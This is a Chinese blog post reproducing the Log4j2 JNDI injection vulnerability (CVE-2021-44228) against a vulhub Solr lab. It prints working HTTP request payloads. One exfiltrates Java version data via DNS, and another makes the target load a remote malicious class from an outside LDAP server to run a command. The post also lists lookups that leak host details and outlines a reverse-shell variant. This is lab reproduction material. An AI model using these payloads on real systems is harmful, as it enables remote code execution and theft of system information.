zoukankan      html  css  js  c++  java
  • Apache Log4j2 lookup JNDI 注入漏洞复现(CVE202144228)

    漏洞简介

    Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

    漏洞环境

    使用vulhub的环境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228

    访问页面

    漏洞复现

    使用dnslog回显

    GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
    Host: 101.35.121.195:8983
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Connection: close
    

    还有其他一些敏感信息可以外带
    ${hostName}
    ${sys:user.dir}
    ${sys:java.version}
    ${java:os}

    jndi注入

    用jndi exploit去做远程恶意类加载

    执行touch /tmp/success
    发送请求包

    GET /solr/admin/cores?action=${jndi:ldap://1.15.177.22:1389/oltb2u} HTTP/1.1
    Host: 101.35.121.195:8983
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Connection: close
    

    可以看到命令已经成功执行

    同理我们可以这样去反弹shell
    用jndi注入bash反弹shell的恶意类,反弹shell命令需要编码

    然后去请求触发就可以了

    漏洞分析

    分析和CodeQL的调试之后再补下

  • 相关阅读:
    八皇后(回溯经典)
    高精度阶乘(大数运算)
    跳棋(利用规范的数学方法)
    贪心砝码(分治法)
    大数乘方取余
    二分法查找
    汉诺塔(经典递归)(未完全明白)
    斐波那契数列和
    实验 7: OpenDaylight 实验——Python 中的 REST API 调用
    实验 6:OpenDaylight 实验——OpenDaylight 及 Postman 实现流表下发流表
  • 原文地址:https://www.cnblogs.com/twosmi1e/p/15750569.html
Copyright © 2011-2022 走看看